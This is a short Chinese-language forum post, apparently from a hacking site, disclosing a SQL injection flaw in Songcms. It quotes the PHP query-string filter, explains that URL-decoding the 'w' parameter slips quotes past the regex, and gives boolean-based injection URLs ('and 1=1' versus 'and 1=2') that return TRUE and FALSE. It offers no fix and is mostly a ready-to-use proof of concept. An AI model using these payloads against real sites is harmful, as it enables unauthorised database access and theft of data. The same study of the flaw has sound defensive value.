Songcms Sql注入漏洞

作者:hack1990 时间:12-08-27 阅读数:547人阅读

过滤不严谨呀! 导致SQL注入!


if($WebOpening==0) die(htmlspecialchars_decode($WebMaintenanceText));
$QUERY = preg_replace("/[\\\:\*\?\"\'<>\~\(\)\[\]\{\}\s\$]/",'',$_SERVER['QUERY_STRING']);
//这个正则不严谨呀!!!!冏$QUERY = explode('/',$QUERY);
foreach ($QUERY as $key => $value){
$sGET[substr($value,0,1)] = substr(trim($value),1);
} www.myhack58.com
if (!empty($sGET['w'])) $sGET['w'] = urldecode($sGET['w']); 解码后成功触发
Lang(); sFile();
漏洞证明:http://localhost/Song/?m1/fproducts/l1/w11%%27 and 1=1 and %27%%27=%27

TRUE


http://www.xxx.com/Song/?m1/fproducts/l1/w11%%27 and 1=2and %27%%27=%27

FALSE

发表评论